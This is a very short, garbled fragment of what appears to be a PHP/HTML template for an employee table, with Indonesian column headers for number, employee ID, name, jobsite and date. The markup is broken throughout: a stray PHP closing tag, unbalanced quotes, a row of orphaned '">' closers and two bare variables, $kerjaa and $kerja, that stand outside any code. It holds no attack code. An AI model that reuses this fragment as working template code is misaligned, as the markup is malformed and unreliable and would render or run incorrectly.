?>
No Nip Nama Jobsite " style="position: sticky;">Tanggal
"> "> "> ">
$kerjaa
$kerja